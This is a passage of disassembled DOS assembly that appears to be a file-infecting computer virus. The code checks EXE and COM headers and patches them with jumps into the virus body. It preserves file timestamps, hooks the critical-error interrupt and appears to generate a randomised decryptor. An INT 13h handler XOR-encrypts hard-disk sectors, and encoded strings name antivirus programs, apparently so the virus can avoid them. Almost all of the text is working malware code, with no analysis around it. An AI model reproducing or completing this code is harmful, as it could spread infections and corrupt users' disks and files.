;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_10 proc near
|
|
or dx,dx ; Zero ?
|
|
jz loc_ret_54 ; Jump if zero
|
|
push si
|
|
push cx
|
|
push dx
|
|
mov cx,dx
|
|
|
|
locloop_53:
|
|
mov si,5CBh
|
|
mov dx,0Ah
|
|
call sub_9
|
|
add si,dx
|
|
movsb ; Mov [si] to es:[di]
|
|
loop locloop_53 ; Loop if cx > 0
|
|
|
|
pop dx
|
|
pop cx
|
|
pop si
|
|
|
|
loc_ret_54:
|
|
retn
|
|
sub_10 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_11 proc near
|
|
mov ax,dx
|
|
inc dx
|
|
call sub_9
|
|
sub ax,dx
|
|
call sub_10
|
|
xchg dx,ax
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
;* cmp bx,data_32e
|
|
db 81h,0FBh, 3Ch, 00h ; Fixup - byte match
|
|
jnz loc_55 ; Jump if not zero
|
|
mov ax,ds:data_31e
|
|
sub ax,di
|
|
add ax,0F3Bh
|
|
sub ax,[bx]
|
|
dec di
|
|
stosb ; Store al to es:[di]
|
|
loc_55:
|
|
call sub_10
|
|
retn
|
|
sub_11 endp
|
|
|
|
;* No entry point to code
|
|
mov dh,5
|
|
mov bx,0BE05h
|
|
add ax,5B2h
|
|
mov bx,0C205h
|
|
add ax,5C5h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_12 proc near
|
|
loc_56:
|
|
lodsw ; String [si] to ax
|
|
xchg di,ax
|
|
mov al,dl
|
|
cmp si,61Eh
|
|
jne loc_57 ; Jump if not equal
|
|
and al,5
|
|
cmp al,1
|
|
jne loc_58 ; Jump if not equal
|
|
mov al,7
|
|
loc_57:
|
|
cmp si,618h
|
|
jne loc_58 ; Jump if not equal
|
|
mov cl,3
|
|
shl al,cl ; Shift w/zeros fill
|
|
or [di],al
|
|
or al,0C7h
|
|
jmp short loc_59
|
|
loc_58:
|
|
or [di],al
|
|
or al,0F8h
|
|
loc_59:
|
|
and [di],al
|
|
cmp si,61Ah
|
|
je loc_ret_60 ; Jump if equal
|
|
cmp si,622h
|
|
je loc_ret_60 ; Jump if equal
|
|
jmp short loc_56
|
|
|
|
loc_ret_60:
|
|
retn
|
|
sub_12 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_13 proc near
|
|
mov dx,2
|
|
call sub_9
|
|
mov byte ptr ds:[5AEh],0Eh
|
|
or dx,dx ; Zero ?
|
|
jz loc_61 ; Jump if zero
|
|
mov byte ptr ds:[5AEh],16h
|
|
loc_61:
|
|
mov si,614h
|
|
loc_62:
|
|
mov dx,8
|
|
call sub_9
|
|
cmp dl,4
|
|
je loc_62 ; Jump if equal
|
|
mov bl,dl
|
|
call sub_12
|
|
mov si,61Ah
|
|
loc_63:
|
|
mov dx,3
|
|
call sub_9
|
|
add dl,6
|
|
cmp dl,8
|
|
jne loc_64 ; Jump if not equal
|
|
mov dl,3
|
|
loc_64:
|
|
cmp dl,bl
|
|
je loc_63 ; Jump if equal
|
|
call sub_12
|
|
xor cx,cx ; Zero register
|
|
mov di,2Ah
|
|
loc_65:
|
|
cmp cx,9
|
|
jne loc_67 ; Jump if not equal
|
|
loc_66:
|
|
mov dx,0C8h
|
|
call sub_9
|
|
sub dx,64h
|
|
add dx,ds:data_31e
|
|
cmp dx,0
|
|
jl loc_66 ; Jump if <
|
|
cmp dx,data_76
|
|
jge loc_66 ; Jump if > or =
|
|
jmp short loc_68
|
|
loc_67:
|
|
mov dx,45Ah
|
|
call sub_9
|
|
loc_68:
|
|
jcxz loc_71 ; Jump if cx=0
|
|
mov si,data_30e
|
|
push cx
|
|
|
|
locloop_69:
|
|
lodsw ; String [si] to ax
|
|
sub ax,dx
|
|
cmp ax,0Ah
|
|
jge loc_70 ; Jump if > or =
|
|
cmp ax,0FFF6h
|
|
jle loc_70 ; Jump if < or =
|
|
pop cx
|
|
jmp short loc_65
|
|
loc_70:
|
|
loop locloop_69 ; Loop if cx > 0
|
|
|
|
pop cx
|
|
loc_71:
|
|
xchg dx,ax
|
|
stosw ; Store ax to es:[di]
|
|
inc cx
|
|
cmp cx,0Ah
|
|
jb loc_65 ; Jump if below
|
|
mov bx,data_30e
|
|
mov si,5ABh
|
|
loc_72:
|
|
mov di,0F3Bh
|
|
lodsb ; String [si] to al
|
|
mov cl,al
|
|
mov dx,8
|
|
sub dx,cx
|
|
mov ax,[bx+2]
|
|
sub ax,[bx]
|
|
cmp ax,0Ah
|
|
jne loc_73 ; Jump if not equal
|
|
inc dx
|
|
inc dx
|
|
call sub_11
|
|
inc bx
|
|
inc bx
|
|
jmp short loc_75
|
|
loc_73:
|
|
call sub_9
|
|
call sub_11
|
|
mov dx,di
|
|
sub dx,0F38h
|
|
add dx,[bx]
|
|
mov al,0E9h
|
|
stosb ; Store al to es:[di]
|
|
inc bx
|
|
inc bx
|
|
mov ax,[bx]
|
|
sub ax,dx
|
|
cmp ax,7Eh
|
|
jg loc_74 ; Jump if >
|
|
cmp ax,0FF7Fh
|
|
jl loc_74 ; Jump if <
|
|
inc ax
|
|
mov byte ptr [di-1],0EBh
|
|
stosb ; Store al to es:[di]
|
|
jmp short loc_75
|
|
loc_74:
|
|
stosw ; Store ax to es:[di]
|
|
loc_75:
|
|
push bx
|
|
push cx
|
|
mov cx,0
|
|
mov dx,1E26h
|
|
add dx,[bx-2]
|
|
adc cx,0
|
|
push cx
|
|
push dx
|
|
call sub_21
|
|
mov cx,0Ah
|
|
mov dx,0A4h
|
|
add word ptr ds:[74Ah],cx
|
|
call sub_19
|
|
pop dx
|
|
pop cx
|
|
jc loc_76 ; Jump if carry Set
|
|
call sub_21
|
|
xchg cx,di
|
|
mov dx,0F3Bh
|
|
sub cx,dx
|
|
;* call sub_18 ;*
|
|
db 0E8h, 6Bh, 01h ; Fixup - byte match
|
|
loc_76:
|
|
pop cx
|
|
pop bx
|
|
jc loc_ret_77 ; Jump if carry Set
|
|
;* cmp bx,3Eh
|
|
db 81h,0FBh, 3Eh, 00h ; Fixup - byte match
|
|
jnc loc_ret_77 ; Jump if carry=0
|
|
jmp loc_72
|
|
|
|
loc_ret_77:
|
|
retn
|
|
sub_13 endp
|
|
|
|
;* No entry point to code
|
|
mov cx,0DD8h
|
|
xor dx,dx ; Zero register
|
|
call sub_14
|
|
mov ah,40h ; '@'
|
|
mov bx,ds:data_107e
|
|
pushf ; Push flags
|
|
call far ptr $-881h
|
|
jc loc_78 ; Jump if carry Set
|
|
cmp ax,cx
|
|
loc_78:
|
|
pushf ; Push flags
|
|
call sub_14
|
|
popf ; Pop flags
|
|
retn
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_14 proc near
|
|
push cx
|
|
mov si,dx
|
|
mov ax,0
|
|
mov cx,0DD8h
|
|
|
|
locloop_79:
|
|
xor [si],ax
|
|
add ax,0
|
|
inc si
|
|
loop locloop_79 ; Loop if cx > 0
|
|
|
|
pop cx
|
|
retn
|
|
sub_14 endp
|
|
|
|
db 0B0h, 03h,0CFh
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_15 proc near
|
|
pushf ; Push flags
|
|
call dword ptr cs:data_105e
|
|
retn
|
|
sub_15 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_16 proc near
|
|
push cx
|
|
push dx
|
|
shr cl,1 ; Shift w/zeros fill
|
|
shr cl,1 ; Shift w/zeros fill
|
|
and dh,0C0h
|
|
or dh,cl
|
|
mov cl,4
|
|
shr dh,cl ; Shift w/zeros fill
|
|
mov dl,ch
|
|
xchg si,dx
|
|
pop dx
|
|
pop cx
|
|
retn
|
|
sub_16 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_17 proc near
|
|
push ax
|
|
push bx
|
|
push cx
|
|
mov al,0
|
|
mov bx,data_20e
|
|
loc_80:
|
|
mov cx,100h
|
|
|
|
locloop_81:
|
|
xor word ptr es:[bx],2B28h
|
|
inc bx
|
|
inc bx
|
|
loop locloop_81 ; Loop if cx > 0
|
|
|
|
dec al
|
|
jnz loc_80 ; Jump if not zero
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
sub_17 endp
|
|
|
|
;* No entry point to code
|
|
cmp ah,2
|
|
je loc_82 ; Jump if equal
|
|
cmp ah,3
|
|
je loc_82 ; Jump if equal
|
|
jmp loc_97
|
|
loc_82:
|
|
cmp dx,80h
|
|
jne loc_91 ; Jump if not equal
|
|
test cx,0FFC0h
|
|
jnz loc_91 ; Jump if not zero
|
|
push bx
|
|
push dx
|
|
push si
|
|
push di
|
|
push cx
|
|
push cx
|
|
mov si,ax
|
|
and si,0FFh
|
|
mov di,si
|
|
mov al,1
|
|
push ax
|
|
jz loc_86 ; Jump if zero
|
|
jcxz loc_90 ; Jump if cx=0
|
|
cmp cl,1
|
|
je loc_88 ; Jump if equal
|
|
loc_83:
|
|
cmp cl,11h
|
|
ja loc_90 ; Jump if above
|
|
cmp cl,0Ah
|
|
jb loc_89 ; Jump if below
|
|
cmp ah,3
|
|
je loc_90 ; Jump if equal
|
|
push bx
|
|
mov cx,200h
|
|
|
|
locloop_84:
|
|
mov byte ptr es:[bx],0
|
|
inc bx
|
|
loop locloop_84 ; Loop if cx > 0
|
|
|
|
pop bx
|
|
loc_85:
|
|
add bx,200h
|
|
pop ax
|
|
pop cx
|
|
inc cx
|
|
push cx
|
|
push ax
|
|
dec si
|
|
jnz loc_83 ; Jump if not zero
|
|
loc_86:
|
|
clc ; Clear carry flag
|
|
loc_87:
|
|
pop ax
|
|
pushf ; Push flags
|
|
xchg di,ax
|
|
sub ax,si
|
|
popf ; Pop flags
|
|
mov ah,ch
|
|
pop cx
|
|
pop cx
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop bx
|
|
retf 2 ; Return far
|
|
loc_88:
|
|
mov cl,byte ptr cs:[0E7Fh]
|
|
loc_89:
|
|
call sub_15
|
|
mov ch,ah
|
|
jc loc_87 ; Jump if carry Set
|
|
jmp short loc_85
|
|
loc_90:
|
|
stc ; Set carry flag
|
|
mov ch,0BBh
|
|
jmp short loc_87
|
|
loc_91:
|
|
cmp dl,80h
|
|
jne loc_97 ; Jump if not equal
|
|
push ax
|
|
push cx
|
|
push dx
|
|
push si
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
mov byte ptr ds:[0E2Dh],0
|
|
mov word ptr ds:[0E2Fh],bx
|
|
call sub_16
|
|
and cl,3Fh ; '?'
|
|
and dh,3Fh ; '?'
|
|
loc_92:
|
|
or al,al ; Zero ?
|
|
jz loc_95 ; Jump if zero
|
|
cmp si,332h
|
|
jae loc_95 ; Jump if above or =
|
|
cmp si,1234h
|
|
jb loc_93 ; Jump if below
|
|
inc byte ptr ds:[0E2Dh]
|
|
jmp short loc_94
|
|
loc_93:
|
|
add word ptr ds:[0E2Fh],200h
|
|
loc_94:
|
|
dec al
|
|
inc cl
|
|
cmp cl,11h
|
|
jbe loc_92 ; Jump if below or =
|
|
mov cl,1
|
|
inc dh
|
|
cmp dh,5
|
|
jbe loc_92 ; Jump if below or =
|
|
xor dh,dh ; Zero register
|
|
inc si
|
|
jmp short loc_92
|
|
loc_95:
|
|
cmp byte ptr ds:[0E2Dh],0
|
|
pop ds
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
jz loc_97 ; Jump if zero
|
|
cmp ah,2
|
|
je loc_96 ; Jump if equal
|
|
call sub_17
|
|
loc_96:
|
|
call sub_15
|
|
pushf ; Push flags
|
|
call sub_17
|
|
popf ; Pop flags
|
|
retf 2 ; Return far
|
|
loc_97:
|
|
;* jmp far ptr loc_3 ;*
|
|
db 0EAh
|
|
dw 40B4h, 2EBh ; Fixup - byte match
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_19 proc near
|
|
mov ah,3Fh ; '?'
|
|
call sub_24
|
|
jc loc_ret_98 ; Jump if carry Set
|
|
cmp ax,cx
|
|
|
|
loc_ret_98:
|
|
retn
|
|
sub_19 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_20 proc near
|
|
xor cx,cx ; Zero register
|
|
mov dx,cx
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_21:
|
|
mov ax,4200h
|
|
jmp short loc_99
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_22:
|
|
xor cx,cx ; Zero register
|
|
mov dx,cx
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_23:
|
|
mov ax,4202h
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_24:
|
|
loc_99:
|
|
mov bx,cs:data_107e
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_25:
|
|
pushf ; Push flags
|
|
cli ; Disable interrupts
|
|
call dword ptr cs:[0DE8h]
|
|
retn
|
|
sub_20 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_26 proc near
|
|
mov bp,sp
|
|
mov ax,5700h
|
|
call sub_24
|
|
mov bx,data_111e
|
|
mov [bx],cx
|
|
mov [bx+2],dx
|
|
call sub_31
|
|
jc loc_102 ; Jump if carry Set
|
|
mov dx,1Eh
|
|
call sub_9
|
|
or dx,dx ; Zero ?
|
|
jz loc_100 ; Jump if zero
|
|
mov [bx],ax
|
|
loc_100:
|
|
mov word ptr ds:[74Ah],40h
|
|
mov dx,0FFFFh
|
|
push dx
|
|
call sub_9
|
|
mov word ptr ds:[5B7h],dx
|
|
mov word ptr ds:[0DFAh],dx
|
|
pop dx
|
|
call sub_9
|
|
mov word ptr ds:[5BFh],dx
|
|
mov word ptr ds:[0E02h],dx
|
|
call sub_20
|
|
mov cx,1Ah
|
|
mov dx,0F45h
|
|
push dx
|
|
call sub_19
|
|
jc loc_104 ; Jump if carry Set
|
|
xchg si,dx
|
|
mov di,data_23e
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
call sub_22
|
|
mov si,ax
|
|
mov di,dx
|
|
pop bx
|
|
cmp word ptr [bx],4D5Ah
|
|
je loc_101 ; Jump if equal
|
|
cmp word ptr [bx],5A4Dh
|
|
je loc_101 ; Jump if equal
|
|
mov byte ptr ds:data_27e,0
|
|
cmp ax,0EFA6h
|
|
cmc ; Complement carry
|
|
jc loc_104 ; Jump if carry Set
|
|
mov ax,3
|
|
cwd ; Word to double word
|
|
push bx
|
|
jmp short loc_103
|
|
loc_101:
|
|
mov byte ptr ds:data_27e,1
|
|
mov ax,[bx+4]
|
|
mul word ptr ds:data_42e ; ax = data * ax
|
|
sub ax,si
|
|
sbb dx,di
|
|
loc_102:
|
|
jc loc_104 ; Jump if carry Set
|
|
mov ax,[bx+8]
|
|
mul word ptr ds:data_40e ; ax = data * ax
|
|
push bx
|
|
push ax
|
|
push dx
|
|
loc_103:
|
|
sub si,ax
|
|
sbb di,dx
|
|
or di,di ; Zero ?
|
|
jnz loc_105 ; Jump if not zero
|
|
mov dx,si
|
|
sub dx,3E8h
|
|
loc_104:
|
|
jc loc_110 ; Jump if carry Set
|
|
cmp dx,7D0h
|
|
jbe loc_106 ; Jump if below or =
|
|
loc_105:
|
|
mov dx,7D0h
|
|
loc_106:
|
|
call sub_9
|
|
add dx,3E8h
|
|
mov word ptr ds:[5B3h],dx
|
|
add dx,1058h
|
|
cmp byte ptr ds:data_27e,0
|
|
je loc_107 ; Jump if equal
|
|
mov ds:data_108e,dx
|
|
loc_107:
|
|
add dx,0FD80h
|
|
mov word ptr ds:[5C6h],dx
|
|
add dx,0F577h
|
|
mov ds:data_33e,dx
|
|
add dx,0FCA8h
|
|
mov data_76,dx
|
|
add dx,8
|
|
not dx
|
|
mov cx,0FFFFh
|
|
call sub_23
|
|
mov word ptr ds:[736h],dx
|
|
mov word ptr ds:[739h],ax
|
|
cmp byte ptr ds:data_27e,0
|
|
jne loc_108 ; Jump if not equal
|
|
xchg dx,ax
|
|
add dx,100h
|
|
jmp short loc_109
|
|
loc_108:
|
|
pop di
|
|
pop si
|
|
sub ax,si
|
|
sbb dx,di
|
|
div word ptr ds:data_40e ; ax,dxrem=dx:ax/data
|
|
loc_109:
|
|
add word ptr ds:[5B3h],dx
|
|
add word ptr ds:[5C6h],dx
|
|
push ax
|
|
push dx
|
|
call sub_13
|
|
loc_110:
|
|
jc loc_115 ; Jump if carry Set
|
|
pop dx
|
|
pop ax
|
|
mov cx,0Ah
|
|
mov si,data_30e
|
|
|
|
locloop_111:
|
|
add [si],dx
|
|
inc si
|
|
inc si
|
|
loop locloop_111 ; Loop if cx > 0
|
|
|
|
pop bx
|
|
cmp byte ptr ds:data_27e,0
|
|
jne loc_112 ; Jump if not equal
|
|
mov byte ptr [bx],0E9h
|
|
mov ax,ds:data_30e
|
|
sub ax,103h
|
|
mov [bx+1],ax
|
|
mov word ptr ds:data_25e,0
|
|
mov word ptr ds:data_29e,0FFF0h
|
|
mov word ptr ds:data_28e,100h
|
|
jmp short loc_114
|
|
loc_112:
|
|
mov [bx+16h],ax
|
|
mov [bx+0Eh],ax
|
|
mov ax,ds:data_30e
|
|
mov [bx+14h],ax
|
|
add [bx+10h],dx
|
|
mov word ptr [bx+6],0
|
|
mov ax,28h
|
|
cmp [bx+0Ah],ax
|
|
jae loc_113 ; Jump if above or =
|
|
mov [bx+0Ah],ax
|
|
loc_113:
|
|
cmp [bx+0Ch],ax
|
|
jae loc_114 ; Jump if above or =
|
|
mov [bx+0Ch],ax
|
|
loc_114:
|
|
push bx
|
|
call sub_22
|
|
call sub_34
|
|
loc_115:
|
|
jc loc_117 ; Jump if carry Set
|
|
call sub_22
|
|
div word ptr ds:data_42e ; ax,dxrem=dx:ax/data
|
|
inc ax
|
|
pop bx
|
|
cmp byte ptr ds:data_27e,0
|
|
je loc_116 ; Jump if equal
|
|
mov [bx+4],ax
|
|
mov [bx+2],dx
|
|
loc_116:
|
|
push bx
|
|
call sub_20
|
|
mov cx,1Ah
|
|
pop dx
|
|
;* call sub_18 ;*
|
|
db 0E8h, 30h,0FEh ; Fixup - byte match
|
|
jc loc_117 ; Jump if carry Set
|
|
mov ax,5701h
|
|
mov cx,ds:data_111e
|
|
mov dx,ds:data_112e
|
|
call sub_24
|
|
loc_117:
|
|
mov sp,bp
|
|
retn
|
|
sub_26 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_27 proc near
|
|
push dx
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
mov ax,3524h
|
|
call sub_25
|
|
mov word ptr ds:data_109e+2,es
|
|
mov ds:data_109e,bx
|
|
mov ax,2524h
|
|
mov dx,0E09h
|
|
call sub_25
|
|
pop ds
|
|
pop dx
|
|
retn
|
|
sub_27 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_28 proc near
|
|
mov ax,2524h
|
|
lds dx,dword ptr cs:data_109e ; Load 32 bit ptr
|
|
call sub_25
|
|
retn
|
|
sub_28 endp
|
|
|
|
;* No entry point to code
|
|
add al,2Eh ; '.'
|
|
inc bx
|
|
dec di
|
|
dec bp
|
|
add al,2Eh ; '.'
|
|
inc bp
|
|
pop ax
|
|
inc bp
|
|
add al,53h ; 'S'
|
|
inc bx
|
|
inc cx
|
|
dec si
|
|
add ax,4C43h
|
|
inc bp
|
|
inc cx
|
|
dec si
|
|
or [bp+49h],al
|
|
dec si
|
|
inc sp
|
|
push si
|
|
dec cx
|
|
push dx
|
|
push bp
|
|
add ax,5547h
|
|
inc cx
|
|
push dx
|
|
inc sp
|
|
add cx,[bp+4Fh]
|
|
inc sp
|
|
add ax,5356h
|
|
inc cx
|
|
inc si
|
|
inc bp
|
|
add al,4Dh ; 'M'
|
|
push bx
|
|
inc cx
|
|
push si
|
|
push es
|
|
inc bx
|
|
dec ax
|
|
dec bx
|
|
inc sp
|
|
push bx
|
|
dec bx
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_29 proc near
|
|
push dx
|
|
push bx
|
|
push cx
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
push ax
|
|
mov si,dx
|
|
mov di,data_114e
|
|
push cs
|
|
pop es
|
|
lea bx,[di-1] ; Load effective addr
|
|
mov cx,4Bh
|
|
|
|
locloop_118:
|
|
lodsb ; String [si] to al
|
|
cmp al,61h ; 'a'
|
|
jb loc_119 ; Jump if below
|
|
cmp al,7Ah ; 'z'
|
|
ja loc_119 ; Jump if above
|
|
sub al,20h ; ' '
|
|
loc_119:
|
|
push ax
|
|
push si
|
|
loc_120:
|
|
cmp al,20h ; ' '
|
|
jne loc_121 ; Jump if not equal
|
|
lodsb ; String [si] to al
|
|
or al,al ; Zero ?
|
|
jnz loc_120 ; Jump if not zero
|
|
pop si
|
|
pop si
|
|
jmp short loc_123
|
|
loc_121:
|
|
pop si
|
|
pop ax
|
|
cmp al,5Ch ; '\'
|
|
je loc_122 ; Jump if equal
|
|
cmp al,2Fh ; '/'
|
|
je loc_122 ; Jump if equal
|
|
cmp al,3Ah ; ':'
|
|
jne loc_123 ; Jump if not equal
|
|
loc_122:
|
|
mov bx,di
|
|
loc_123:
|
|
stosb ; Store al to es:[di]
|
|
or al,al ; Zero ?
|
|
jz loc_124 ; Jump if zero
|
|
loop locloop_118 ; Loop if cx > 0
|
|
|
|
loc_124:
|
|
mov si,0ADCh
|
|
sub di,5
|
|
push cs
|
|
pop ds
|
|
call sub_30
|
|
jz loc_125 ; Jump if zero
|
|
call sub_30
|
|
jnz loc_129 ; Jump if not zero
|
|
loc_125:
|
|
pop ax
|
|
push ax
|
|
xchg di,bx
|
|
inc di
|
|
cmp ax,4B00h
|
|
jne loc_126 ; Jump if not equal
|
|
mov si,0B0Fh
|
|
call sub_30
|
|
jnz loc_126 ; Jump if not zero
|
|
mov byte ptr ds:[0C6Ah],2Dh ; '-'
|
|
loc_126:
|
|
mov cx,7
|
|
mov si,0AE6h
|
|
|
|
locloop_127:
|
|
push cx
|
|
call sub_30
|
|
pop cx
|
|
jz loc_129 ; Jump if zero
|
|
loop locloop_127 ; Loop if cx > 0
|
|
|
|
mov si,data_114e
|
|
xor bl,bl ; Zero register
|
|
lodsw ; String [si] to ax
|
|
cmp ah,3Ah ; ':'
|
|
jne loc_128 ; Jump if not equal
|
|
sub al,40h ; '@'
|
|
mov bl,al
|
|
loc_128:
|
|
mov ax,4408h
|
|
call sub_25
|
|
or ax,ax ; Zero ?
|
|
jz loc_131 ; Jump if zero
|
|
mov ax,4409h
|
|
call sub_25
|
|
jc loc_129 ; Jump if carry Set
|
|
test dh,10h
|
|
jnz loc_131 ; Jump if not zero
|
|
loc_129:
|
|
stc ; Set carry flag
|
|
loc_130:
|
|
pop ax
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop cx
|
|
pop bx
|
|
pop dx
|
|
retn
|
|
